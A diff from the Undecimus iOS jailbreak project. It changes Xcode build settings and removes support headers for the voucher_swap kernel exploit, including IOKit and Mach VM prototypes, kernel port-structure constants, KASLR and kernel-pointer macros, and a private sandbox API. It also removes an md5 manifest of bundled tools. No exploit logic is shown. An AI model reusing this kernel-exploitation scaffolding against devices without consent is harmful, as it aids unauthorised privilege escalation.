2150A9DF22021348001C8677 /* kernel_slide.c in Sources */,
2101395521A09BB700F9C5F2 /* hideventsystem.c in Sources */,
21C130EB214C03690021AA9D /* CreditsTableViewController.m in Sources */,
2150A9CD22021330001C8677 /* voucher_swap.c in Sources */,
21C0FC6C21369EB700849420 /* AppDelegate.m in Sources */,
225D142221E052960045493D /* ArchiveFile.m in Sources */,
);
@@ -819,13 +543,9 @@
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = YES;
ARCHS = (
arm64e,
arm64,
);
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
CLANG_ENABLE_OBJC_ARC = YES;
CODE_SIGN_ENTITLEMENTS = "$(SRCROOT)/Undecimus/multi_path.entitlements";
CODE_SIGN_ENTITLEMENTS = "$(SRCROOT)/Undecimus/resources/multi_path.entitlements";
CODE_SIGN_IDENTITY = "iPhone Developer";
CODE_SIGN_STYLE = Manual;
DEVELOPMENT_TEAM = "";
@@ -841,8 +561,6 @@
"$(PROJECT_DIR)/patchfinder64",
"$(PROJECT_DIR)/snappy",
"$(PROJECT_DIR)/Injector",
"$(PROJECT_DIR)/offset-cache",
"$(PROJECT_DIR)/kerneldec",
);
INFOPLIST_FILE = Undecimus/Info.plist;
IPHONEOS_DEPLOYMENT_TARGET = 11.0;
@@ -850,21 +568,17 @@
LIBRARY_SEARCH_PATHS = (
"$(inherited)",
"$(PROJECT_DIR)/Undecimus",
"$(PROJECT_DIR)/Undecimus/libs",
);
ONLY_ACTIVE_ARCH = NO;
OTHER_CFLAGS = "";
"OTHER_CFLAGS[arch=*]" = "-DUNDECIMUS";
OTHER_LDFLAGS = (
"-framework",
IOKit,
"-w",
);
PRODUCT_BUNDLE_IDENTIFIER = science.xnu.undecimus;
PRODUCT_NAME = "$(TARGET_NAME)";
PROVISIONING_PROFILE_SPECIFIER = "";
TARGETED_DEVICE_FAMILY = "1,2";
VALID_ARCHS = "arm64 arm64e";
};
name = Debug;
};
@@ -872,13 +586,9 @@
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = YES;
ARCHS = (
arm64e,
arm64,
);
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
CLANG_ENABLE_OBJC_ARC = YES;
CODE_SIGN_ENTITLEMENTS = "$(SRCROOT)/Undecimus/multi_path.entitlements";
CODE_SIGN_ENTITLEMENTS = "$(SRCROOT)/Undecimus/resources/multi_path.entitlements";
CODE_SIGN_IDENTITY = "iPhone Developer";
CODE_SIGN_STYLE = Manual;
DEVELOPMENT_TEAM = "";
@@ -894,8 +604,6 @@
"$(PROJECT_DIR)/patchfinder64",
"$(PROJECT_DIR)/snappy",
"$(PROJECT_DIR)/Injector",
"$(PROJECT_DIR)/offset-cache",
"$(PROJECT_DIR)/kerneldec",
);
INFOPLIST_FILE = Undecimus/Info.plist;
IPHONEOS_DEPLOYMENT_TARGET = 11.0;
@@ -903,20 +611,17 @@
LIBRARY_SEARCH_PATHS = (
"$(inherited)",
"$(PROJECT_DIR)/Undecimus",
"$(PROJECT_DIR)/Undecimus/libs",
);
OTHER_CFLAGS = "";
"OTHER_CFLAGS[arch=*]" = "-DUNDECIMUS";
OTHER_LDFLAGS = (
"-framework",
IOKit,
"-w",
);
PRODUCT_BUNDLE_IDENTIFIER = science.xnu.undecimus;
PRODUCT_NAME = "$(TARGET_NAME)";
PROVISIONING_PROFILE_SPECIFIER = "";
TARGETED_DEVICE_FAMILY = "1,2";
VALID_ARCHS = "arm64 arm64e";
};
name = Release;
};
+869 -1788
View File
File diff suppressed because it is too large Load Diff
-76
View File
@@ -1,76 +0,0 @@
/*
* IOKitLib.h
* Brandon Azad
*/
#ifndef VOUCHER_SWAP__IOKITLIB_H_
#define VOUCHER_SWAP__IOKITLIB_H_
#include <CoreFoundation/CoreFoundation.h>
#include <mach/mach.h>
typedef mach_port_t io_object_t;
typedef io_object_t io_connect_t;
typedef io_object_t io_iterator_t;
typedef io_object_t io_service_t;
extern const mach_port_t kIOMasterPortDefault;
kern_return_t
IOObjectRelease(
io_object_t object );
io_object_t
IOIteratorNext(
io_iterator_t iterator );
io_service_t
IOServiceGetMatchingService(
mach_port_t masterPort,
CFDictionaryRef matching CF_RELEASES_ARGUMENT);
kern_return_t
IOServiceGetMatchingServices(
mach_port_t masterPort,
CFDictionaryRef matching CF_RELEASES_ARGUMENT,
io_iterator_t * existing );
kern_return_t
IOServiceOpen(
io_service_t service,
task_port_t owningTask,
uint32_t type,
io_connect_t * connect );
kern_return_t
IOServiceClose(
io_connect_t connect );
kern_return_t
IOConnectCallMethod(
mach_port_t connection, // In
uint32_t selector, // In
const uint64_t *input, // In
uint32_t inputCnt, // In
const void *inputStruct, // In
size_t inputStructCnt, // In
uint64_t *output, // Out
uint32_t *outputCnt, // In/Out
void *outputStruct, // Out
size_t *outputStructCnt) // In/Out
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
kern_return_t
IOConnectTrap6(io_connect_t connect,
uint32_t index,
uintptr_t p1,
uintptr_t p2,
uintptr_t p3,
uintptr_t p4,
uintptr_t p5,
uintptr_t p6);
CFMutableDictionaryRef
IOServiceMatching(
const char * name ) CF_RETURNS_RETAINED;
#endif
-33
View File
@@ -1,33 +0,0 @@
#import <UIKit/UIKit.h>
@class UIProgressIndicator, UILabel, UIImageView, UIWindow;
@interface UIProgressHUD : UIView {
UIProgressIndicator* _progressIndicator;
UILabel* _progressMessage;
UIImageView* _doneView;
UIWindow* _parentWindow;
struct {
unsigned isShowing : 1;
unsigned isShowingText : 1;
unsigned fixedFrame : 1;
unsigned reserved : 30;
} _progressHUDFlags;
}
-(id)initWithFrame:(CGRect)arg1 ;
-(void)layoutSubviews;
-(void)hide;
-(void)show:(bool)arg1 ;
-(void)drawRect:(CGRect)arg1 ;
-(void)dealloc;
-(void)setText:(id)arg1 ;
-(id)initWithWindow:(id)arg1 ;
-(void)done;
-(void)setFontSize:(int)arg1 ;
-(id)_progressIndicator;
-(void)setShowsText:(bool)arg1 ;
-(void)showInView:(id)arg1 ;
@end
+3 -36
View File
@@ -4,55 +4,22 @@
#include <stdint.h> // uint*_t
#include <stdbool.h>
#include <mach-o/loader.h>
#include <mach/error.h>
#ifdef __OBJC__
#include <Foundation/Foundation.h>
#define RAWLOG(str, args...) do { NSLog(@str, ##args); } while(false)
#define ADDRSTRING(val) [NSString stringWithFormat:@ADDR, val]
#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(false)
#else
#include <CoreFoundation/CoreFoundation.h>
extern void NSLog(CFStringRef, ...);
#define RAWLOG(str, args...) do { NSLog(CFSTR(str), ##args); } while(false)
#define BOOL bool
#define YES ((BOOL) true)
#define NO ((BOOL) false)
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
#endif
#define LOG(str, args...) RAWLOG("[*] " str, ##args)
#define SafeFree(x) do { if (x) free(x); } while(false)
#define SafeFreeNULL(x) do { SafeFree(x); (x) = NULL; } while(false)
#define CFSafeRelease(x) do { if (x) CFRelease(x); } while(false)
#define CFSafeReleaseNULL(x) do { CFSafeRelease(x); (x) = NULL; } while(false)
#define SafeSFree(x) do { if (KERN_POINTER_VALID(x)) sfree(x); } while(false)
#define SafeSFreeNULL(x) do { SafeSFree(x); (x) = KPTR_NULL; } while(false)
#define SafeIOFree(x, size) do { if (KERN_POINTER_VALID(x)) IOFree(x, size); } while(false)
#define SafeIOFreeNULL(x, size) do { SafeIOFree(x, size); (x) = KPTR_NULL; } while(false)
#define kCFCoreFoundationVersionNumber_iOS_12_0 1535.12
#define kCFCoreFoundationVersionNumber_iOS_11_3 1452.23
#define kCFCoreFoundationVersionNumber_iOS_11_0 1443.00
#define __FILENAME__ (__builtin_strrchr(__FILE__, '/') ? __builtin_strrchr(__FILE__, '/') + 1 : __FILE__)
#define ADDR "0x%016llx"
#define MACH_HEADER_MAGIC MH_MAGIC_64
#define MACH_LC_SEGMENT LC_SEGMENT_64
typedef struct mach_header_64 mach_hdr_t;
typedef struct segment_command_64 mach_seg_t;
typedef struct load_command mach_lc_t;
typedef uint64_t kptr_t;
#define KPTR_NULL ((kptr_t) 0)
#define KERN_POINTER_VALID(val) ((val) >= 0xffff000000000000 && (val) != 0xffffffffffffffff)
#define MAX_KASLR_SLIDE 0x21000000
#define STATIC_KERNEL_BASE_ADDRESS 0xfffffff007004000
extern kptr_t offset_options;
#define OPT(x) (offset_options?((rk64(offset_options) & OPT_ ##x)?true:false):false)
#define SETOPT(x) (offset_options?wk64(offset_options, rk64(offset_options) | OPT_ ##x):0)
#define UNSETOPT(x) (offset_options?wk64(offset_options, rk64(offset_options) & ~OPT_ ##x):0)
#define OPT_GET_TASK_ALLOW (1<<0)
#define OPT_CS_DEBUGGED (1<<1)
typedef struct load_command mach_lc_t;
#endif
-44
View File
@@ -15,52 +15,8 @@ typedef io_object_t io_connect_t;
typedef io_object_t io_iterator_t;
#define IO_OBJECT_NULL (0)
#define kIONVRAMForceSyncNowPropertyKey "IONVRAM-FORCESYNCNOW-PROPERTY"
#define IO_BITS_PORT_INFO 0x0000f000
#define IO_BITS_KOTYPE 0x00000fff
#define IO_BITS_OTYPE 0x7fff0000
#define IO_BITS_ACTIVE 0x80000000
#define IKOT_NONE 0
#define IKOT_THREAD 1
#define IKOT_TASK 2
#define IKOT_HOST 3
#define IKOT_HOST_PRIV 4
#define IKOT_PROCESSOR 5
#define IKOT_PSET 6
#define IKOT_PSET_NAME 7
#define IKOT_TIMER 8
#define IKOT_PAGING_REQUEST 9
#define IKOT_MIG 10
#define IKOT_MEMORY_OBJECT 11
#define IKOT_XMM_PAGER 12
#define IKOT_XMM_KERNEL 13
#define IKOT_XMM_REPLY 14
#define IKOT_UND_REPLY 15
#define IKOT_HOST_NOTIFY 16
#define IKOT_HOST_SECURITY 17
#define IKOT_LEDGER 18
#define IKOT_MASTER_DEVICE 19
#define IKOT_TASK_NAME 20
#define IKOT_SUBSYSTEM 21
#define IKOT_IO_DONE_QUEUE 22
#define IKOT_SEMAPHORE 23
#define IKOT_LOCK_SET 24
#define IKOT_CLOCK 25
#define IKOT_CLOCK_CTRL 26
#define IKOT_IOKIT_SPARE 27
#define IKOT_NAMED_ENTRY 28
#define IKOT_IOKIT_CONNECT 29
#define IKOT_IOKIT_OBJECT 30
#define IKOT_UPL 31
#define IKOT_MEM_OBJ_CONTROL 32
#define IKOT_AU_SESSIONPORT 33
#define IKOT_FILEPORT 34
#define IKOT_LABELH 35
#define IKOT_TASK_RESUME 36
enum
{
kIOCFSerializeToBinary = 0x00000001U,
-52
View File
@@ -1,52 +0,0 @@
/*
* ipc_port.h
* Brandon Azad
*/
#ifndef VOUCHER_SWAP__IPC_PORT_H_
#define VOUCHER_SWAP__IPC_PORT_H_
#include <mach/mach.h>
#include <stdint.h>
// ---- osfmk/kern/waitq.h ------------------------------------------------------------------------
#define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7)
#define WQT_QUEUE 0x2
union waitq_flags {
struct {
uint32_t /* flags */
waitq_type:2, /* only public field */
waitq_fifo:1, /* fifo wakeup policy? */
waitq_prepost:1, /* waitq supports prepost? */
waitq_irq:1, /* waitq requires interrupts disabled */
waitq_isvalid:1, /* waitq structure is valid */
waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */
waitq_eventmask:_EVENT_MASK_BITS;
};
uint32_t flags;
};
// ---- osfmk/kern/ipc_kobject.h ------------------------------------------------------------------
#define IKOT_NONE 0
#define IKOT_TASK 2
// ---- osfmk/ipc/ipc_object.h --------------------------------------------------------------------
#define IO_BITS_KOTYPE 0x00000fff /* used by the object */
#define IO_BITS_ACTIVE 0x80000000 /* is object alive? */
#define io_makebits(active, otype, kotype) \
(((active) ? IO_BITS_ACTIVE : 0) | ((otype) << 16) | (kotype))
#define IOT_PORT 0
// ---- Custom definitions ------------------------------------------------------------------------
#define MACH_HEADER_SIZE_DELTA (2 * (sizeof(uint64_t) - sizeof(uint32_t)))
// ------------------------------------------------------------------------------------------------
#endif
-46
View File
@@ -1,46 +0,0 @@
/*
* mach_vm.h
* Brandon Azad
*/
#ifndef VOUCHER_SWAP__MACH_VM_H_
#define VOUCHER_SWAP__MACH_VM_H_
#include <mach/mach.h>
extern
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
extern
kern_return_t mach_vm_deallocate
(
vm_map_t target,
mach_vm_address_t address,
mach_vm_size_t size
);
extern
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
extern
kern_return_t mach_vm_read_overwrite
(
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
mach_vm_address_t data,
mach_vm_size_t *outsize
);
#endif
-181
View File
@@ -1,181 +0,0 @@
/*
* Copyright (c) 2006-2010 Apple Inc. All rights reserved.
*
* @APPLE_LICENSE_HEADER_START@
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this
* file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_LICENSE_HEADER_END@
*/
#ifndef _SANDBOX_H_
#define _SANDBOX_H_
#include <sys/cdefs.h>
#include <stdint.h>
#include <unistd.h>
__BEGIN_DECLS
/*
* @function sandbox_init
* Places the current process in a sandbox with a profile as
* specified. If the process is already in a sandbox, the new profile
* is ignored and sandbox_init() returns an error.
*
* @param profile (input) The Sandbox profile to be used. The format
* and meaning of this parameter is modified by the `flags' parameter.
*
* @param flags (input) Must be SANDBOX_NAMED. All other
* values are reserved.
*
* @param errorbuf (output) In the event of an error, sandbox_init
* will set `*errorbuf' to a pointer to a NUL-terminated string
* describing the error. This string may contain embedded newlines.
* This error information is suitable for developers and is not
* intended for end users.
*
* If there are no errors, `*errorbuf' will be set to NULL. The
* buffer `*errorbuf' should be deallocated with `sandbox_free_error'.
*
* @result 0 on success, -1 otherwise.
*/
int sandbox_init(const char *profile, uint64_t flags, char **errorbuf);
/*
* @define SANDBOX_NAMED The `profile' argument specifies a Sandbox
* profile named by one of the kSBXProfile* string constants.
*/
#define SANDBOX_NAMED 0x0001
#ifdef __APPLE_API_PRIVATE
/* The following flags are reserved for Mac OS X. Developers should not
* depend on their availability.
*/
/*
* @define SANDBOX_NAMED_BUILTIN The `profile' argument specifies the
* name of a builtin profile that is statically compiled into the
* system.
*/
#define SANDBOX_NAMED_BUILTIN 0x0002
/*
* @define SANDBOX_NAMED_EXTERNAL The `profile' argument specifies the
* pathname of a Sandbox profile. The pathname may be abbreviated: If
* the name does not start with a `/' it is treated as relative to
* /usr/share/sandbox and a `.sb' suffix is appended.
*/
#define SANDBOX_NAMED_EXTERNAL 0x0003
/*
* @define SANDBOX_NAMED_MASK Mask for name types: 4 bits, 15 possible
* name types, 3 currently defined.
*/
#define SANDBOX_NAMED_MASK 0x000f
#endif /* __APPLE_API_PRIVATE */
/*
* Available Sandbox profiles.
*/
/* TCP/IP networking is prohibited. */
extern const char kSBXProfileNoInternet[];
/* All sockets-based networking is prohibited. */
extern const char kSBXProfileNoNetwork[];
/* File system writes are prohibited. */
extern const char kSBXProfileNoWrite[];
/* File system writes are restricted to temporary folders /var/tmp and
* confstr(_CS_DARWIN_USER_DIR, ...).
*/
extern const char kSBXProfileNoWriteExceptTemporary[];
/* All operating system services are prohibited. */
extern const char kSBXProfilePureComputation[];
/*
* @function sandbox_free_error
* Deallocates an error string previously allocated by sandbox_init.
*
* @param errorbuf (input) The buffer to be freed. Must be a pointer
* previously returned by sandbox_init in the `errorbuf' argument, or NULL.
*
* @result void
*/
void sandbox_free_error(char *errorbuf);
#ifdef __APPLE_API_PRIVATE
/* The following definitions are reserved for Mac OS X. Developers should not
* depend on their availability.
*/
int sandbox_init_with_parameters(const char *profile, uint64_t flags, const char *const parameters[], char **errorbuf);
int sandbox_init_with_extensions(const char *profile, uint64_t flags, const char *const extensions[], char **errorbuf);
enum sandbox_filter_type {
SANDBOX_FILTER_NONE,
SANDBOX_FILTER_PATH,
SANDBOX_FILTER_GLOBAL_NAME,
SANDBOX_FILTER_LOCAL_NAME,
SANDBOX_FILTER_APPLEEVENT_DESTINATION,
SANDBOX_FILTER_RIGHT_NAME,
};
extern const enum sandbox_filter_type SANDBOX_CHECK_NO_REPORT __attribute__((weak_import));
enum sandbox_extension_flags {
FS_EXT_DEFAULTS = 0,
FS_EXT_FOR_PATH = (1 << 0),
FS_EXT_FOR_FILE = (1 << 1),
FS_EXT_READ = (1 << 2),
FS_EXT_WRITE = (1 << 3),
FS_EXT_PREFER_FILEID = (1 << 4),
};
int sandbox_check(pid_t pid, const char *operation, enum sandbox_filter_type type, ...);
int sandbox_note(const char *note);
int sandbox_suspend(pid_t pid);
int sandbox_unsuspend(void);
int sandbox_issue_extension(const char *path, char **ext_token);
int sandbox_issue_fs_extension(const char *path, uint64_t flags, char **ext_token);
int sandbox_issue_fs_rw_extension(const char *path, char **ext_token);
int sandbox_issue_mach_extension(const char *name, char **ext_token);
int sandbox_consume_extension(const char *path, const char *ext_token);
int sandbox_consume_fs_extension(const char *ext_token, char **path);
int sandbox_consume_mach_extension(const char *ext_token, char **name);
int sandbox_release_fs_extension(const char *ext_token);
int sandbox_container_path_for_pid(pid_t pid, char *buffer, size_t bufsize);
int sandbox_wakeup_daemon(char **errorbuf);
const char *_amkrtemp(const char *);
#endif /* __APPLE_API_PRIVATE */
__END_DECLS
#endif /* _SANDBOX_H_ */
Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.
Binary file not shown.
Binary file not shown.

Before

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 55 KiB

-262
View File
@@ -1,262 +0,0 @@
b898b8bcd8656374448051a69057521d ./usr/bin/tee
2703abe4fb5a83025c1b9476ff76bd33 ./usr/bin/split
b710863f5f7acf5212de2ae187a88036 ./usr/bin/vim
924eba52787a353e3fc6238528bc8b57 ./usr/bin/hexdump
50ba68b0d76faecb0ea94b70a59f299a ./usr/bin/nonceutil
f03b02a469fe0f346e44db75a1fc47ef ./usr/bin/lsmp
a0b9f9016ccade288455b7141e1a693a ./usr/bin/vm_stat
7a503e87e55cee7427f94c5046f602d8 ./usr/bin/syslog
dd692a7b33f7478497f8c1b68755c477 ./usr/bin/du
636437c879c120f204305669342a8294 ./usr/bin/fs_usage
5eab0aa90c966a26d7f2d912bcd19e74 ./usr/bin/renice
7a747035cf06761640e2bd1121a9fed7 ./usr/bin/xxd
33785345f40bdad328c2a79f013e91e8 ./usr/bin/sc_usage
58041d4cc703a25dc41d5b5e49994da3 ./usr/bin/less
9c3b5ece12be439690b6f0a021dde9e3 ./usr/bin/inject
65cf7456fbf76bdb3fffadf765c3e54a ./usr/bin/sed
8f4cfcd2a709e88b88504b82ff358d65 ./usr/bin/nano
07d32b3046248014cfaa0e1f3a489bdb ./usr/bin/tset
63e15286116be714262cb697a7517128 ./usr/bin/seq
e65a3eeaeea8336154f8c7f9c5bf0018 ./usr/bin/uname
e4e05c7bf0831c52dd409dbe0d2f660e ./usr/bin/uicache
b902b099b0b3f067165fe0baef133a69 ./usr/bin/reset
4f01671c0ae2083b07d1ecdea264964b ./usr/bin/wc
fd17aa563a90ced7ef7d2342aec7e280 ./usr/bin/gzip
f89a4d1a23bc10e6e10c8f1b1bcaa652 ./usr/bin/ldid3
2629d71e6c09495a482270544c60b5a5 ./usr/bin/printf
c653ea9550bad9b55c97d3b1e90b8f69 ./usr/bin/ldid2
42c0b3b435c28cec0a707dc9802cfed7 ./usr/bin/tail
b86021f1c7316b66acd50abfedd594c2 ./usr/bin/grep
e92491131960f0005f3f7ca416ee9236 ./usr/bin/script
9efbb27fe365cddcb005578bd7ef7a65 ./usr/bin/more
2fee7eacb33519aa2996cc2b83a6d357 ./usr/bin/time
39c15e53f0dd82a58012d1d0181905e1 ./usr/bin/plconvert
8eb822233be91c75570479c3073a5b3d ./usr/bin/head
3bf9386f7d05055686a188718b6c12c2 ./usr/bin/clear
f8778ec9c9faa44538b0c318624035c3 ./usr/bin/killall
6610423671919d8e6f8588146711bd13 ./usr/bin/stat
9f6d23b3158fd3f8a0fb900beabaa5f1 ./usr/bin/snappy
a806f7b0dc5c4fd3d8e002afa16fadc3 ./usr/bin/sqlite3
cdb0f23de81daad4e560ebd59c8de355 ./usr/bin/screen
07a9b81c90872a25766127a840a14da6 ./usr/bin/arch
50b64b8b88be46ef32d56f081542aa8c ./usr/bin/cut
0a740c42b89808c236a07a51fe5a814d ./usr/bin/xargs
4433ef936563f2838b09305737851015 ./usr/bin/what
7786eabe3fe5b6b4180ced0cf4602502 ./usr/bin/ldid
c41791441994916f3346f2f669f7bca2 ./usr/bin/chflags
a97084e55faa35ff653099171312bb9b ./usr/bin/id
80b33297033bd59ae090ebba1ec9b67a ./usr/bin/find
5e84a2de4d32118d6c4adcb2e897f801 ./usr/bin/scp
65fa4d06e93e3f9239ec284a8cafc279 ./usr/bin/true
c32656a75f5e24d003683d8af58ca6d1 ./usr/bin/hostinfo
b0bc120ffd09ddc8bc288556e4e238f4 ./usr/bin/tar
d272b6b9ee40350bc868786ab6863024 ./usr/bin/false
202fe8e6692a3a180cf0d92a16275dfc ./usr/bin/login
d2d12e8f4cfae79936803eaa78a6c2e9 ./usr/bin/which
a098a6ea3245b6e32b2d6085bf88f46a ./usr/bin/passwd
23390a4a27a63ae1026e0d4640e74e97 ./usr/bin/nohup
c9655b6dd73a182160636015270fb315 ./usr/bin/w
110eecf0ee42142c045065003de6da8d ./usr/bin/gunzip
3444747dd9c4f6a5207af74622318d1f ./usr/sbin/joreg
9277c487d0a37255dba1dc8edbb14646 ./usr/sbin/ioreg
5e0ea2ba00edd93b93c489fff5cf673e ./usr/sbin/sysctl
a946312719036084be1584f559b2ad93 ./usr/sbin/taskpolicy
d96c5cae510321ceb1de66a8e8a2bc47 ./usr/sbin/netstat
ade27f5ac9bd41b1f6966829a8ae320f ./usr/sbin/ltop
5786e43b57cc62e23931b319b91a8085 ./usr/sbin/chown
bfe6c05f61efb46bcd4af932a504e6e6 ./usr/sbin/kextstat
2d407928f102245200b62813aa33be3a ./usr/local/bin/wget
70daec5f62c7801f4494df325a53c441 ./usr/local/bin/jtool2
b95d60ad4d5812bae3eddd7c28647063 ./usr/local/bin/dbclient
ded12835bcef335967e2165d6b0e744a ./usr/local/bin/filemon
82b62dd019b9f24c9e7cd6a6c2140084 ./usr/local/bin/dropbear
9886346e798d3fd0ca2535f599bffa0e ./usr/local/bin/procexp
70da97361f47e94787937494e8653e77 ./usr/local/bin/jtool
1eb37e4f8d302d259fb8d7b16985acfb ./usr/local/bin/dropbearkey
4f3fb0098020807cdd741f51dd1663b3 ./usr/local/bin/jlutil
94143bce6a7b0279a2db88ce2c3e3fdb ./usr/local/bin/joker
bfa7e6f6b1c4f2044457101a6bc319c8 ./usr/local/bin/dropbearconvert
a115f8ee5627857f5da055a1a8e9056c ./usr/local/bin/dropbear.orig
d09a8eba7adbcf9417c48ed83928753b ./usr/local/bin/procexp.ent
44298a30dfedbb312ba3923716aa61a0 ./usr/local/lib/zsh/5.0.8/zsh/termcap.so
d0b05ff80a5f5470a77740714735c573 ./usr/local/lib/zsh/5.0.8/zsh/zleparameter.so
d8c7842dca4e2b405ce8ab605aa78594 ./usr/local/lib/zsh/5.0.8/zsh/example.so
73ae237bf2dafc21cef52e3b04bcd90d ./usr/local/lib/zsh/5.0.8/zsh/tcp.so
23586b85e7444fe401672bdca5585e64 ./usr/local/lib/zsh/5.0.8/zsh/newuser.so
705963ad326169b2b1a3a517b05765d7 ./usr/local/lib/zsh/5.0.8/zsh/deltochar.so
714cfac68394abc786f32e96056a98a6 ./usr/local/lib/zsh/5.0.8/zsh/complete.so
f25da108adc8701d153c9da648735307 ./usr/local/lib/zsh/5.0.8/zsh/mapfile.so
65c97546fd24f08f90f4b49ce8632c64 ./usr/local/lib/zsh/5.0.8/zsh/stat.so
b66cfb813e273d2ea24f585a9d07e2e0 ./usr/local/lib/zsh/5.0.8/zsh/compctl.so
da02e032689685300c6c8a760d119066 ./usr/local/lib/zsh/5.0.8/zsh/zselect.so
fc34fea197cfac379678b83ccaff6a1b ./usr/local/lib/zsh/5.0.8/zsh/parameter.so
63231fa531348d09c55eff734e306e18 ./usr/local/lib/zsh/5.0.8/zsh/datetime.so
f91108fc9fb83cc2138f9d1da7487b29 ./usr/local/lib/zsh/5.0.8/zsh/socket.so
91f38fd37f10e3f35dbcbb49b8adfb0a ./usr/local/lib/zsh/5.0.8/zsh/terminfo.so
deb70a41a405bb0824436ad028c556b6 ./usr/local/lib/zsh/5.0.8/zsh/clone.so
9d3559e577bfca109520e4f0bad491ba ./usr/local/lib/zsh/5.0.8/zsh/regex.so
f12d65d38fbe3c1db7b7d65d13a25e0c ./usr/local/lib/zsh/5.0.8/zsh/attr.so
d16c5f028e26d507cdb8af9f165f14f8 ./usr/local/lib/zsh/5.0.8/zsh/curses.so
91f32f5cb48390222c22ed8028e55d90 ./usr/local/lib/zsh/5.0.8/zsh/files.so
eaf924f4282275441520d82567069883 ./usr/local/lib/zsh/5.0.8/zsh/system.so
24a2ba2b1826a6e8990b04d9bc43e316 ./usr/local/lib/zsh/5.0.8/zsh/zpty.so
23cc2ecf2e19f32f8eb6f9d7a37e1706 ./usr/local/lib/zsh/5.0.8/zsh/zle.so
4d094b2b38db4fd73ae574befb25204e ./usr/local/lib/zsh/5.0.8/zsh/mathfunc.so
bec6c7e86f26a77b9524ed128da4b4d9 ./usr/local/lib/zsh/5.0.8/zsh/zutil.so
2ae606823ae7e68d3af3bb351a19b437 ./usr/local/lib/zsh/5.0.8/zsh/complist.so
c6a1d10d2211feb80284e81186caa6be ./usr/local/lib/zsh/5.0.8/zsh/zftp.so
7f3430e22eb6b38aa117ee4ed9352cee ./usr/local/lib/zsh/5.0.8/zsh/cap.so
b513edef71f83a0254ee3f78539a1240 ./usr/local/lib/zsh/5.0.8/zsh/computil.so
fdba1d6dda089229cdaa4a10f621b703 ./usr/local/lib/zsh/5.0.8/zsh/zprof.so
68fc31400366cc71bf7f7e2177ea6368 ./usr/local/lib/zsh/5.0.8/zsh/langinfo.so
fa2279010eb25eb9658280d4e8741a4c ./usr/share/terminfo/61/ansi80x50-mono
c835906031322f6793d0bba8a4024cf4 ./usr/share/terminfo/61/ansi+idl1
3b55b40fd24d7095314b9c3571aac6fb ./usr/share/terminfo/61/ansil
68354f5acab5acd36a028df8ef111944 ./usr/share/terminfo/61/ansi+idc
3ae2c75389debb39daa93a37d0a05592 ./usr/share/terminfo/61/ansiw
4ef30ab8d7c15a62823e5f4264f6d62d ./usr/share/terminfo/61/ansi80x30
0929a9ac82bd6cb0238dfb7577b8240f ./usr/share/terminfo/61/ansi-mono
12c43baa349979c093c1743a7489d8ee ./usr/share/terminfo/61/ansi+pp
41573351ca6e86546bd1a58cdbf5cd62 ./usr/share/terminfo/61/ansi+idl
fa2279010eb25eb9658280d4e8741a4c ./usr/share/terminfo/61/ansil-mono
586b7d053f8a935202bc95bd769ee4f3 ./usr/share/terminfo/61/ansi80x30-mono
3ae2c75389debb39daa93a37d0a05592 ./usr/share/terminfo/61/ansi80x25-raw
71a5dd341d754460eb189f73779feb41 ./usr/share/terminfo/61/ansi+csr
30ef341210e5227e41eaff5b83fac717 ./usr/share/terminfo/61/ansi-generic
cf35f34c8755efb774005f800afab654 ./usr/share/terminfo/61/ansi+sgr
6e327b6172dd4886024fd780797da60a ./usr/share/terminfo/61/ansi+cup
a811d944eb78b2a1f97aa6578dca08fa ./usr/share/terminfo/61/ansi-emx
017e3893644413c3d4446ac47c93951f ./usr/share/terminfo/61/ansi+sgrbold
0afdcc1032306d8d3ea05def04340d21 ./usr/share/terminfo/61/ansi+sgrul
418c636af2942a1462885a6b667825a7 ./usr/share/terminfo/61/ansi80x60-mono
5ab0fa91be25a2e1005fcd94dc9dd469 ./usr/share/terminfo/61/ansi+sgrso
6b3a86ff2f1b95acfdd820fbf8750b01 ./usr/share/terminfo/61/ansi
f18d72643477964bafbb499a518afab3 ./usr/share/terminfo/61/ansi-color-2-emx
5cc9c4e94f47197a1171e8841c0909a6 ./usr/share/terminfo/61/ansis-mono
bd5a24c27f2aae15e7c8616478b35177 ./usr/share/terminfo/61/ansi-color-3-emx
47a77469940121acd86a1b82db198f3b ./usr/share/terminfo/61/ansisysk
6871af613871edf164a0656f20dc2c8c ./usr/share/terminfo/61/ansi43m
042f8da76683abcdace3439800571223 ./usr/share/terminfo/61/ansi-mtabs
33b216e8fec086dbe4c884aa7b566d5b ./usr/share/terminfo/61/ansi+sgrdim
5eb691998583e67c1d1d66f6d1b065ba ./usr/share/terminfo/61/ansi80x25
38ad8b0dad6aab8bd2016f70a99cd5b0 ./usr/share/terminfo/61/ansi+erase
aa05b8d0aa5e705fa2ad93378fd63f6e ./usr/share/terminfo/61/ansi+rep
5eb691998583e67c1d1d66f6d1b065ba ./usr/share/terminfo/61/ansis
